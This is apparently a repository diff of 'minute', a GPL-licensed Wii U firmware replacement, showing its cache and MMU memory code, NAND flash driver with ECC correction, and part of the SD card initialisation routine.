// flush device and also invalidate memory
void ahb_flush_from(enum wb_client dev)
{
u32 cookie = irq_kill();
u16 req = 0;
bool done = false;
int i;
switch(dev)
{
case WB_IOD:
req = 0b0001;
break;
case WB_AIM:
case WB_EHCI:
case WB_EHC1:
case WB_EHC2:
case WB_SATA:
case WB_DMAB:
req = 0b0100;
break;
case WB_FLA:
case WB_OHCI0:
case WB_OHCI1:
case WB_SD0:
case WB_SD1:
case WB_SD2:
case WB_SD3:
case WB_OHCI10:
case WB_OHCI20:
case WB_DMAC:
req = 0b1000;
break;
case WB_AES:
case WB_SHA:
case WB_AESS:
case WB_SHAS:
case WB_DMAA:
req = 0b0010;
break;
case WB_ALL:
req = 0b1111;
break;
default:
DEBUG("ahb_flush(%d): Invalid device\n", dev);
goto done;
}
write16(MEM_FLUSH_MASK, req);
for(i = 0; i < 1000000; i++) {
if(!(read16(MEM_FLUSH_MASK) & req)) {
done = true;
break;
}
udelay(1);
}
if(!done) {
DEBUG("ahb_flush(%d): Flush (0x%x) did not ack!\n", dev, req);
}
done:
irq_restore(cookie);
}
void dc_flushrange(const void *start, u32 size)
{
u32 cookie = irq_kill();
if(size > 0x4000) {
_dc_flush();
} else {
void *end = ALIGN_FORWARD(((u8*)start) + size, LINESIZE);
start = ALIGN_BACKWARD(start, LINESIZE);
_dc_flush_entries(start, (end - start) / LINESIZE);
}
_drain_write_buffer();
ahb_flush_from(WB_AIM);
irq_restore(cookie);
}
void dc_invalidaterange(void *start, u32 size)
{
u32 cookie = irq_kill();
void *end = ALIGN_FORWARD(((u8*)start) + size, LINESIZE);
start = ALIGN_BACKWARD(start, LINESIZE);
_dc_inval_entries(start, (end - start) / LINESIZE);
ahb_flush_to(RB_IOD);
irq_restore(cookie);
}
void dc_flushall(void)
{
u32 cookie = irq_kill();
_dc_flush();
_drain_write_buffer();
ahb_flush_from(WB_AIM);
irq_restore(cookie);
}
void ic_invalidateall(void)
{
u32 cookie = irq_kill();
_ic_inval();
ahb_flush_to(RB_IOD);
irq_restore(cookie);
}
void mem_protect(int enable, void *start, void *end)
{
write16(MEM_PROT, enable?1:0);
write16(MEM_PROT_START, (((u32)start) & 0xFFFFFFF) >> 12);
write16(MEM_PROT_END, (((u32)end) & 0xFFFFFFF) >> 12);
udelay(10);
}
void mem_setswap(int enable)
{
u32 d = read32(LT_MEMIRR);
if((d & 0x20) && !enable)
write32(LT_MEMIRR, d & ~0x20);
if((!(d & 0x20)) && enable)
write32(LT_MEMIRR, d | 0x20);
}
#ifndef LOADER
u32 dma_addr(void *p)
{
u32 addr = (u32)p;
switch(addr>>20) {
case 0xfff:
case 0x0d4:
case 0x0dc:
if(read32(LT_MEMIRR) & 0x20) {
addr ^= 0x10000;
}
addr &= 0x0001FFFF;
addr |= 0x0d400000;
break;
}
//DEBUG("DMA to %p: address %08x\n", p, addr);
return addr;
}
#define SECTION 0x012
#define NONBUFFERABLE 0x000
#define BUFFERABLE 0x004
#define WRITETHROUGH_CACHE 0x008
#define WRITEBACK_CACHE 0x00C
#define DOMAIN(x) ((x)<<5)
#define AP_ROM 0x000
#define AP_NOUSER 0x400
#define AP_ROUSER 0x800
#define AP_RWUSER 0xC00
// from, to, size: units of 1MB
void map_section(u32 from, u32 to, u32 size, u32 attributes)
{
attributes |= SECTION;
while(size--) {
__page_table[from++] = (to++<<20) | attributes;
}
}
//#define NO_CACHES
void mem_initialize(void)
{
u32 cr;
u32 cookie = irq_kill();
DEBUG("MEM: cleaning up\n");
_ic_inval();
_dc_inval();
_tlb_inval();
DEBUG("MEM: unprotecting memory\n");
mem_protect(0, NULL, NULL);
DEBUG("MEM: configuring heap\n");
extern char* fake_heap_start;
extern char* fake_heap_end;
extern char heap_start __asm__("__heap_start__");
extern char heap_end __asm__("__heap_end__");
fake_heap_start = &heap_start;
fake_heap_end = &heap_end;
DEBUG("MEM: mapping sections\n");
__page_table = (u32 *)memalign(16384, 16384);
memset32(__page_table, 0, sizeof(__page_table));
map_section(0x080, 0x080, 0x003, WRITEBACK_CACHE | DOMAIN(0) | AP_RWUSER); // MEM0
map_section(0x000, 0x000, 0x020, WRITEBACK_CACHE | DOMAIN(0) | AP_RWUSER); // MEM1
map_section(0x100, 0x100, 0xC00, WRITEBACK_CACHE | DOMAIN(0) | AP_RWUSER); // MEM2
map_section(0xFFF, 0xFFF, 0x001, WRITEBACK_CACHE | DOMAIN(0) | AP_RWUSER); // SRAM
map_section(0x0D0, 0x0D0, 0x010, NONBUFFERABLE | DOMAIN(0) | AP_RWUSER); // MMIO
set_dacr(0xFFFFFFFF); //manager access for all domains, ignore AP
set_ttbr((u32)__page_table); //configure translation table
_drain_write_buffer();
cr = get_cr();
#ifndef NO_CACHES
DEBUG("MEM: enabling caches\n");
cr |= CR_DCACHE | CR_ICACHE;
set_cr(cr);
DEBUG("MEM: enabling MMU\n");
cr |= CR_MMU;
set_cr(cr);
#endif
DEBUG("MEM: init done\n");
irq_restore(cookie);
}
void mem_shutdown(void)
{
u32 cookie = irq_kill();
_dc_flush();
_drain_write_buffer();
u32 cr = get_cr();
cr &= ~(CR_MMU | CR_DCACHE | CR_ICACHE); //disable ICACHE, DCACHE, MMU
set_cr(cr);
_ic_inval();
_dc_inval();
_tlb_inval();
irq_restore(cookie);
}
#endif

156
stage2/memory.h Normal file
View File

@ -0,0 +1,156 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __MEMORY_H__
#define __MEMORY_H__
#include "types.h"
#define ALIGN_FORWARD(x,align) \
((__typeof__(x))((((u32)(x)) + (align) - 1) & (~(align-1))))
#define ALIGN_BACKWARD(x,align) \
((__typeof__(x))(((u32)(x)) & (~(align-1))))
enum rb_client {
RB_IOD = 0,
RB_IOI = 1,
RB_AIM = 2,
RB_FLA = 3,
RB_AES = 4,
RB_SHA = 5,
RB_EHCI = 6,
RB_OHCI0 = 7,
RB_OHCI1 = 8,
RB_SD0 = 9,
RB_SD1 = 10,
RB_SD2 = 11,
RB_SD3 = 12,
RB_EHC1 = 13,
RB_OHCI10 = 14,
RB_EHC2 = 15,
RB_OHCI20 = 16,
RB_SATA = 17,
RB_AESS = 18,
RB_SHAS = 19
};
enum wb_client {
WB_IOD = 0,
WB_AIM = 1,
WB_FLA = 2,
WB_AES = 3,
WB_SHA = 4,
WB_EHCI = 5,
WB_OHCI0 = 6,
WB_OHCI1 = 7,
WB_SD0 = 8,
WB_SD1 = 9,
WB_SD2 = 10,
WB_SD3 = 11,
WB_EHC1 = 12,
WB_OHCI10 = 13,
WB_EHC2 = 14,
WB_OHCI20 = 15,
WB_SATA = 16,
WB_AESS = 17,
WB_SHAS = 18,
WB_DMAA = 19,
WB_DMAB = 20,
WB_DMAC = 21,
WB_ALL = 22
};
void dc_flushrange(const void *start, u32 size);
void dc_invalidaterange(void *start, u32 size);
void dc_flushall(void);
void ic_invalidateall(void);
void ahb_flush_from(enum wb_client dev);
void ahb_flush_to(enum rb_client dev);
void mem_protect(int enable, void *start, void *end);
void mem_setswap(int enable);
void mem_initialize(void);
void mem_shutdown(void);
u32 dma_addr(void *);
static inline u32 get_cr(void)
{
u32 data;
__asm__ volatile ( "mrc\tp15, 0, %0, c1, c0, 0" : "=r" (data) );
return data;
}
static inline u32 get_ttbr(void)
{
u32 data;
__asm__ volatile ( "mrc\tp15, 0, %0, c2, c0, 0" : "=r" (data) );
return data;
}
static inline u32 get_dacr(void)
{
u32 data;
__asm__ volatile ( "mrc\tp15, 0, %0, c3, c0, 0" : "=r" (data) );
return data;
}
static inline void set_cr(u32 data)
{
__asm__ volatile ( "mcr\tp15, 0, %0, c1, c0, 0" :: "r" (data) );
}
static inline void set_ttbr(u32 data)
{
__asm__ volatile ( "mcr\tp15, 0, %0, c2, c0, 0" :: "r" (data) );
}
static inline void set_dacr(u32 data)
{
__asm__ volatile ( "mcr\tp15, 0, %0, c3, c0, 0" :: "r" (data) );
}
static inline u32 get_dfsr(void)
{
u32 data;
__asm__ volatile ( "mrc\tp15, 0, %0, c5, c0, 0" : "=r" (data) );
return data;
}
static inline u32 get_ifsr(void)
{
u32 data;
__asm__ volatile ( "mrc\tp15, 0, %0, c5, c0, 1" : "=r" (data) );
return data;
}
static inline u32 get_far(void)
{
u32 data;
__asm__ volatile ( "mrc\tp15, 0, %0, c6, c0, 0" : "=r" (data) );
return data;
}
void _ahb_flush_to(enum rb_client dev);
static inline void dc_inval_block_fast(void *block)
{
__asm__ volatile ( "mcr\tp15, 0, %0, c7, c6, 1" :: "r" (block) );
_ahb_flush_to(RB_IOD); //TODO: check if really needed and if not, remove
}
static inline void dc_flush_block_fast(void *block)
{
__asm__ volatile ( "mcr\tp15, 0, %0, c7, c10, 1" :: "r" (block) );
__asm__ volatile ( "mcr\tp15, 0, %0, c7, c10, 4" :: "r" (0) );
ahb_flush_from(WB_AIM); //TODO: check if really needed and if not, remove
}
#endif

59
stage2/memory_asm.S Normal file
View File

@ -0,0 +1,59 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
.arm
.globl _dc_inval_entries
.globl _dc_flush_entries
.globl _dc_flush
.globl _dc_inval
.globl _ic_inval
.globl _drain_write_buffer
.globl _tlb_inval
.section .sram.text
_dc_inval_entries:
mcr p15, 0, r0, c7, c6, 1
add r0, #0x20
subs r1, #1
bne _dc_inval_entries
bx lr
_dc_flush_entries:
mcr p15, 0, r0, c7, c10, 1
add r0, #0x20
subs r1, #1
bne _dc_flush_entries
bx lr
_dc_flush:
mrc p15, 0, pc, c7, c10, 3
bne _dc_flush
bx lr
_dc_inval:
mov r0, #0
mcr p15, 0, r0, c7, c6, 0
bx lr
_ic_inval:
mov r0, #0
mcr p15, 0, r0, c7, c5, 0
bx lr
_drain_write_buffer:
mov r0, #0
mcr p15, 0, r0, c7, c10, 4
bx lr
_tlb_inval:
mov r0, #0
mcr p15, 0, r0, c8, c7
bx lr

456
stage2/nand.c Normal file
View File

@ -0,0 +1,456 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2021 rw-r-r-0644
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Haxx Enterprises <bushing@gmail.com>
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "nand.h"
#include "utils.h"
#include "types.h"
#include "latte.h"
#include "memory.h"
#include "irq.h"
#include "crypto.h"
#include "debug.h"
#include <string.h>
/* ECC definitions */
#define ECC_SIZE 0x10
#define ECC_STOR_OFFS 0x30
#define ECC_CALC_OFFS 0x40
/* required buffers sizes */
#define SPARE_BUF_SIZE (SPARE_SIZE + ECC_SIZE + 0x10)
#define STATUS_BUF_SIZE 0x40
/* NAND chip commands */
#define CMD_CHIPID 0x90
#define CMD_RESET 0xff
#define CMD_GET_STATUS 0x70
#define CMD_ERASE_SETUP 0x60
#define CMD_ERASE 0xd0
#define CMD_SERIALDATA_IN 0x80
#define CMD_RANDOMDATA_IN 0x85
#define CMD_PROGRAM 0x10
#define CMD_READ_SETUP 0x00
#define CMD_READ 0x30
/* NAND_CTRL definitions */
#define CTRL_FL_EXEC (0x80000000)
#define CTRL_FL_ERR (0x20000000)
#define CTRL_FL_IRQ (0x40000000)
#define CTRL_FL_WAIT (0x00008000)
#define CTRL_FL_WR (0x00004000)
#define CTRL_FL_RD (0x00002000)
#define CTRL_FL_ECC (0x00001000)
#define CTRL_CMD(cmd) (0x00ff0000 & (cmd << 16))
#define CTRL_ADDR(addr) (0x1f000000 & (addr << 24))
#define CTRL_SIZE(size) (0x00000fff & (size))
/* NAND_CONF definitions */
#define CONF_FL_WP (0x80000000) /* bsp:fla clears this flag when writing */
#define CONF_FL_EN (0x08000000) /* enable nand controller */
#define CONF_ATTR_INIT (0x743e3eff) /* initial nand config */
#define CONF_ATTR_NORMAL (0x550f1eff) /* normal nand config */
/* NAND_BANK definitions */
#define BANK_FL_4 (0x00000004) /* set by bsp:fla for revisions after latte A2X */
#if NAND_WRITE_ENABLED
static u8 nand_status_buf[STATUS_BUF_SIZE] ALIGNED(256);
#endif
static u8 nand_spare_buf[SPARE_BUF_SIZE] ALIGNED(256);
static u32 nand_enabled_banks = BANK_SLC;
static int irq_flag = 0;
int nand_error(const char *error)
{
DEBUG("nand: %s\n", error);
nand_initialize();
return -1;
}
void nand_irq(void)
{
ahb_flush_from(WB_FLA);
ahb_flush_to(RB_IOD);
irq_flag = 1;
}
void nand_irq_clear_and_enable(void)
{
irq_flag = 0;
irq_enable(IRQ_NAND);
}
void nand_wait_irq(void)
{
while(!irq_flag) {
u32 cookie = irq_kill();
if (!irq_flag) {
irq_wait();
}
irq_restore(cookie);
}
}
void nand_enable_banks(u32 bank)
{
nand_enabled_banks = bank & 3;
}
void nand_set_config(int write_enable)
{
u32 conf, bank;
write32(NAND_CTRL, 0);
write32(NAND_CONF, 0);
/* set nand config */
conf = (write_enable ? 0 : CONF_FL_WP)
| (CONF_FL_EN)
| (CONF_ATTR_NORMAL);
write32(NAND_CONF, conf);
/* set nand bank */
bank = BANK_FL_4
| nand_enabled_banks;
write32(NAND_BANK, bank);
}
#if NAND_WRITE_ENABLED
int nand_erase_block(u32 blockno)
{
if (blockno > BLOCK_COUNT) {
return nand_error("invalid block number");
}
/* clear write protection */
nand_set_config(1);
/* erase setup */
write32(NAND_CTRL, 0);
write32(NAND_ADDR0, 0);
write32(NAND_ADDR1, blockno * BLOCK_PAGES);
write32(NAND_CTRL,
CTRL_FL_EXEC |
CTRL_CMD(CMD_ERASE_SETUP) |
CTRL_ADDR(0x1c));
while(read32(NAND_CTRL) & CTRL_FL_EXEC);
write32(NAND_CTRL, 0);
nand_irq_clear_and_enable();
/* erase */
write32(NAND_CTRL,
CTRL_FL_EXEC |
CTRL_FL_IRQ |
CTRL_CMD(CMD_ERASE) |
CTRL_FL_WAIT);
nand_wait_irq();
/* set write protection */
nand_set_config(0);
/* get status */
*nand_status_buf = 1;
dc_flushrange(nand_status_buf, STATUS_BUF_SIZE);
write32(NAND_DATA, dma_addr(nand_status_buf));
write32(NAND_CTRL,
CTRL_FL_EXEC |
CTRL_CMD(CMD_GET_STATUS) |
CTRL_FL_RD |
CTRL_SIZE(STATUS_BUF_SIZE));
while(read32(NAND_CTRL) & CTRL_FL_EXEC);
ahb_flush_from(WB_FLA);
dc_invalidaterange(nand_status_buf, STATUS_BUF_SIZE);
/* check failure */
if (*nand_status_buf & 1) {
return nand_error("erase command failed");
}
return 0;
}
int nand_write_page(u32 pageno, void *data, void *spare)
{
if (pageno > PAGE_COUNT) {
return nand_error("invalid page number");
}
if ((u32)data & 0x1f) {
return nand_error("unaligned page buffer");
}
dc_flushrange(data, PAGE_SIZE);
ahb_flush_to(RB_FLA);
dc_invalidaterange(nand_spare_buf + ECC_CALC_OFFS, ECC_SIZE);
/* clear write protection */
nand_set_config(1);
/* send page content and calc ecc */
write32(NAND_CTRL, 0);
write32(NAND_ADDR0, 0);
write32(NAND_ADDR1, pageno);
write32(NAND_DATA, dma_addr(data));
write32(NAND_ECC, dma_addr(nand_spare_buf));
write32(NAND_CTRL,
CTRL_FL_EXEC |
CTRL_ADDR(0x1f) |
CTRL_CMD(CMD_SERIALDATA_IN) |
CTRL_FL_WR |
CTRL_FL_ECC |
CTRL_SIZE(PAGE_SIZE));
while(read32(NAND_CTRL) & CTRL_FL_EXEC);
if (read32(NAND_CTRL) & CTRL_FL_ERR) {
nand_error("error executing data input command");
}
/* prepare page spare */
ahb_flush_from(WB_FLA);
if (spare) {
memcpy(nand_spare_buf, spare, SPARE_SIZE);
} else {
memset(nand_spare_buf, 0, SPARE_SIZE);
}
nand_spare_buf[0] = 0xff;
memcpy(nand_spare_buf + ECC_STOR_OFFS, nand_spare_buf + ECC_CALC_OFFS, ECC_SIZE);
dc_flushrange(nand_spare_buf, SPARE_SIZE);
/* setup irq */
write32(NAND_CTRL, 0);
nand_irq_clear_and_enable();
/* send spare content */
write32(NAND_ADDR0, PAGE_SIZE);
write32(NAND_ADDR1, 0);
write32(NAND_DATA, dma_addr(nand_spare_buf));
write32(NAND_ECC, 0);
write32(NAND_CTRL,
CTRL_FL_EXEC |
CTRL_ADDR(0x3) |
CTRL_CMD(CMD_RANDOMDATA_IN) |
CTRL_FL_WR |
CTRL_SIZE(SPARE_SIZE));
while(read32(NAND_CTRL) & CTRL_FL_EXEC);
if (read32(NAND_CTRL) & CTRL_FL_ERR) {
nand_error("error executing random data input command");
}
/* program page */
write32(NAND_CTRL, 0);
write32(NAND_CTRL,
CTRL_FL_EXEC |
CTRL_FL_IRQ |
CTRL_CMD(CMD_PROGRAM) |
CTRL_FL_WAIT);
nand_wait_irq();
/* set write protection */
nand_set_config(0);
/* get status */
*nand_status_buf = 1;
dc_flushrange(nand_status_buf, STATUS_BUF_SIZE);
write32(NAND_DATA, dma_addr(nand_status_buf));
write32(NAND_CTRL,
CTRL_FL_EXEC |
CTRL_CMD(CMD_GET_STATUS) |
CTRL_FL_RD |
CTRL_SIZE(STATUS_BUF_SIZE));
while(read32(NAND_CTRL) & CTRL_FL_EXEC);
ahb_flush_from(WB_FLA);
dc_invalidaterange(nand_status_buf, STATUS_BUF_SIZE);
/* check failure */
if (*nand_status_buf & 1) {
return nand_error("page program command failed");
}
return 0;
}
#endif
int nand_ecc_correct(u8 *data, u32 *ecc_save, u32 *ecc_calc, u32 size)
{
u32 syndrome;
u16 odd, even;
/* check if the page contain ecc errors */
if (!memcmp(ecc_save, ecc_calc, size)) {
return 0;
}
/* correct ecc errors */
for (int i = 0; i < (size / 4); i++) {
if (ecc_save[i] == ecc_calc[i]) {
continue;
}
/* don't try to correct unformatted pages */
if (ecc_save[i] == 0xffffffff) {
continue;
}
/* calculate ecc syndrome */
syndrome = (ecc_save[i] ^ ecc_calc[i]) & 0x0fff0fff;
if ((syndrome & (syndrome - 1)) == 0) {
continue;
}
/* extract odd and even halves */
odd = syndrome >> 16;
even = syndrome;
/* uncorrectable error */
if ((odd ^ even) != 0xfff) {
return -1;
}
/* fix the bad bit */
data[i * 0x200 + (odd >> 3)] ^= 1 << (odd & 7);
}
return 1;
}
int nand_read_page(u32 pageno, void *data, void *spare)
{
int res = 0;
if (pageno > PAGE_COUNT) {
return nand_error("invalid page number");
}
if ((u32)data & 0x1f) {
return nand_error("unaligned page buffer");
}
/* set nand config */
nand_set_config(0);
/* prepare for reading */
write32(NAND_CTRL, 0);
write32(NAND_ADDR0, 0);
write32(NAND_ADDR1, pageno);
write32(NAND_CTRL,
CTRL_FL_EXEC |
CTRL_ADDR(0x1f) |
CTRL_CMD(CMD_READ_SETUP));
while(read32(NAND_CTRL) & CTRL_FL_EXEC);
/* read page and spare */
dc_invalidaterange(data, PAGE_SIZE);
dc_invalidaterange(nand_spare_buf, SPARE_BUF_SIZE);
write32(NAND_CTRL, 0);
write32(NAND_DATA, dma_addr(data));
write32(NAND_ECC, dma_addr(nand_spare_buf));
nand_irq_clear_and_enable();
write32(NAND_CTRL,
CTRL_FL_EXEC |
CTRL_FL_IRQ |
CTRL_CMD(CMD_READ) |
CTRL_FL_WAIT |
CTRL_FL_RD |
CTRL_FL_ECC |
CTRL_SIZE(PAGE_SIZE + SPARE_SIZE));
nand_wait_irq();
if (read32(NAND_CTRL) & CTRL_FL_ERR) {
return nand_error("error executing page read command");
}
write32(NAND_CTRL, 0);
ahb_flush_from(WB_FLA);
/* correct ecc errors */
res = nand_ecc_correct(data,
(u32*)(nand_spare_buf + ECC_STOR_OFFS),
(u32*)(nand_spare_buf + ECC_CALC_OFFS),
ECC_SIZE);
if (res < 0) {
return nand_error("uncorrectable ecc error");
}
/* copy spare from internal buffer */
if (spare) {
memcpy(spare, nand_spare_buf, SPARE_SIZE);
}
return res;
}
void nand_deinitialize(void)
{
/* shutdown nand banks */
write32(NAND_BANK_CTRL, 0);
while(read32(NAND_BANK_CTRL) & (1 << 31));
write32(NAND_BANK_CTRL, 0);
for (int i = 0; i < 0xc0; i += 0x18) {
write32(NAND_REG_BASE + 0x40 + i, 0);
write32(NAND_REG_BASE + 0x44 + i, 0);
write32(NAND_REG_BASE + 0x48 + i, 0);
write32(NAND_REG_BASE + 0x4c + i, 0);
write32(NAND_REG_BASE + 0x50 + i, 0);
write32(NAND_REG_BASE + 0x54 + i, 0);
}
/* shutdown main nand bank */
write32(NAND_CTRL, 0);
while(read32(NAND_CTRL) & (1 << 31));
write32(NAND_CTRL, 0);
/* write init config */
write32(NAND_CONF, CONF_ATTR_INIT);
write32(NAND_BANK, 1);
}
void nand_initialize(void)
{
for (int i = 0; i < 2; i++) {
/* shutdown nand interface */
nand_deinitialize();
/* set nand init config and enable */
write32(NAND_CONF,
CONF_FL_EN |
CONF_ATTR_INIT);
/* set nand bank */
write32(NAND_BANK,
BANK_FL_4 | // ???
(i ? 3 : 1)); // ???
/* reset nand chip */
write32(NAND_CTRL,
CTRL_FL_EXEC |
CTRL_CMD(CMD_RESET) |
CTRL_FL_WAIT);
while(read32(NAND_CTRL) & CTRL_FL_EXEC);
write32(NAND_CTRL, 0);
}
/* set normal nand config */
nand_set_config(0);
}

64
stage2/nand.h Normal file
View File

@ -0,0 +1,64 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2021 rw-r-r-0644
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __NAND_H__
#define __NAND_H__
#include "types.h"
#define NAND_WRITE_ENABLED 1
/* nand structure definitions */
#define PAGE_SIZE 0x800
#define PAGE_COUNT 0x40000
#define SPARE_SIZE 0x40
#define CLUSTER_PAGES 8
#define CLUSTER_SIZE (PAGE_SIZE * CLUSTER_PAGES)
#define CLUSTER_COUNT (PAGE_COUNT / CLUSTER_PAGES)
#define BLOCK_CLUSTERS 8
#define BLOCK_PAGES 0x40
#define BLOCK_SIZE (CLUSTER_SIZE * BLOCK_CLUSTERS)
#define BLOCK_COUNT 0x1000
/* nand banks */
#define BANK_SLCCMPT 1
#define BANK_SLC 2
/* initialize nand */
void nand_initialize(void);
/* shutdown nand interface */
void nand_deinitialize(void);
/* read page and spare */
int nand_read_page(u32 pageno, void *data, void *spare);
#if NAND_WRITE_ENABLED
/* write page and spare */
int nand_write_page(u32 pageno, void *data, void *spare);
/* erase a block of pages */
int nand_erase_block(u32 blockno);
#endif
/* set enabled nand banks */
void nand_enable_banks(u32 bank);
/* nand irq handler */
void nand_irq(void);
#endif

713
stage2/sdcard.c Normal file
View File

@ -0,0 +1,713 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "bsdtypes.h"
#include "utils.h"
#include "memory.h"
#include "latte.h"
#include "sdhc.h"
#include "sdcard.h"
#include <string.h>
#include "debug.h"
#include "gpio.h"
#ifdef CAN_HAZ_IRQ
#include "irq.h"
#endif
//#define SDCARD_DEBUG
#ifdef SDCARD_DEBUG
static int sdcarddebug = 2;
#define DPRINTF(n,s) do { if ((n) <= sdcarddebug) DEBUG(s); } while (0)
#else
#define DPRINTF(n,s) do {} while(0)
#endif
static struct sdhc_host sdcard_host;
struct sdcard_ctx {
sdmmc_chipset_handle_t handle;
int inserted;
int sdhc_blockmode;
int selected;
int new_card; // set to 1 everytime a new card is inserted
u32 num_sectors;
u16 rca;
};
static struct sdcard_ctx card;
void sdcard_attach(sdmmc_chipset_handle_t handle)
{
memset(&card, 0, sizeof(card));
card.handle = handle;
DPRINTF(0, ("sdcard: attached new SD/MMC card\n"));
sdhc_host_reset(card.handle);
if (sdhc_card_detect(card.handle)) {
DPRINTF(1, ("card is inserted. starting init sequence.\n"));
sdcard_needs_discover();
}
}
void sdcard_abort(void) {
struct sdmmc_command cmd;
DEBUG("sdcard: abortion kthx\n");
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = MMC_STOP_TRANSMISSION;
cmd.c_arg = 0;
cmd.c_flags = SCF_RSP_R1B;
sdhc_exec_command(card.handle, &cmd);
}
void sdcard_needs_discover(void)
{
struct sdmmc_command cmd;
u32 ocr = card.handle->ocr;
DPRINTF(0, ("sdcard: card needs discovery.\n"));
sdhc_host_reset(card.handle);
card.new_card = 1;
if (!sdhc_card_detect(card.handle)) {
DPRINTF(1, ("sdcard: card (no longer?) inserted.\n"));
card.inserted = 0;
return;
}
DPRINTF(1, ("sdcard: enabling power\n"));
if (sdhc_bus_power(card.handle, ocr) != 0) {
DEBUG("sdcard: powerup failed for card\n");
goto out;
}
DPRINTF(1, ("sdcard: enabling clock\n"));
if (sdhc_bus_clock(card.handle, SDMMC_SDCLK_25MHZ, SDMMC_TIMING_LEGACY) != 0) {
DEBUG("sdcard: could not enable clock for card\n");
goto out_power;
}
sdhc_bus_width(card.handle, 1);
DPRINTF(1, ("sdcard: sending GO_IDLE_STATE\n"));
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = MMC_GO_IDLE_STATE;
cmd.c_flags = SCF_RSP_R0;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: GO_IDLE_STATE failed with %d\n", cmd.c_error);
goto out_clock;
}
DPRINTF(2, ("sdcard: GO_IDLE_STATE response: %x\n", MMC_R1(cmd.c_resp)));
DPRINTF(1, ("sdcard: sending SEND_IF_COND\n"));
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = SD_SEND_IF_COND;
cmd.c_arg = 0x1aa;
cmd.c_flags = SCF_RSP_R7;
cmd.c_timeout = 100;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error || (cmd.c_resp[0] & 0xff) != 0xaa)
ocr &= ~SD_OCR_SDHC_CAP;
else
ocr |= SD_OCR_SDHC_CAP;
DPRINTF(2, ("sdcard: SEND_IF_COND ocr: %x\n", ocr));
int tries;
for (tries = 100; tries > 0; tries--) {
udelay(100000);
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = MMC_APP_CMD;
cmd.c_arg = 0;
cmd.c_flags = SCF_RSP_R1;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: MMC_APP_CMD failed with %d\n", cmd.c_error);
goto out_clock;
}
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = SD_APP_OP_COND;
cmd.c_arg = ocr;
cmd.c_flags = SCF_RSP_R3;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: SD_APP_OP_COND failed with %d\n", cmd.c_error);
goto out_clock;
}
DPRINTF(3, ("sdcard: response for SEND_IF_COND: %08x\n",
MMC_R1(cmd.c_resp)));
if (ISSET(MMC_R1(cmd.c_resp), MMC_OCR_MEM_READY))
break;
}
if (!ISSET(cmd.c_resp[0], MMC_OCR_MEM_READY)) {
DEBUG("sdcard: card failed to powerup.\n");
goto out_power;
}
if (ISSET(MMC_R1(cmd.c_resp), SD_OCR_SDHC_CAP))
card.sdhc_blockmode = 1;
else
card.sdhc_blockmode = 0;
DPRINTF(2, ("sdcard: SDHC: %d\n", card.sdhc_blockmode));
u8 *resp;
u32 *resp32;
DPRINTF(2, ("sdcard: MMC_ALL_SEND_CID\n"));
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = MMC_ALL_SEND_CID;
cmd.c_arg = 0;
cmd.c_flags = SCF_RSP_R2;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: MMC_ALL_SEND_CID failed with %d\n", cmd.c_error);
goto out_clock;
}
resp = (u8 *)cmd.c_resp;
resp32 = (u32 *)cmd.c_resp;
DEBUG("CID: %08lX%08lX%08lX%08lX\n", resp32[0], resp32[1], resp32[2], resp32[3]);
DEBUG("CID: mid=%02x name='%c%c%c%c%c%c%c' prv=%d.%d psn=%02x%02x%02x%02x mdt=%d/%d\n", resp[14],
resp[13],resp[12],resp[11],resp[10],resp[9],resp[8],resp[7], resp[6], resp[5] >> 4, resp[5] & 0xf,
resp[4], resp[3], resp[2], resp[0] & 0xf, 2000 + (resp[0] >> 4));
DPRINTF(2, ("sdcard: SD_SEND_RELATIVE_ADDRESS\n"));
memset(&cmd, 0, sizeof(cmd));
cmd.c_opcode = SD_SEND_RELATIVE_ADDR;
cmd.c_arg = 0;
cmd.c_flags = SCF_RSP_R6;
sdhc_exec_command(card.handle, &cmd);
if (cmd.c_error) {
DEBUG("sdcard: SD_SEND_RCA failed with %d\n", cmd.c_error);
goto out_clock;
}
card.rca = MMC_R1(cmd.c_resp)>>16;
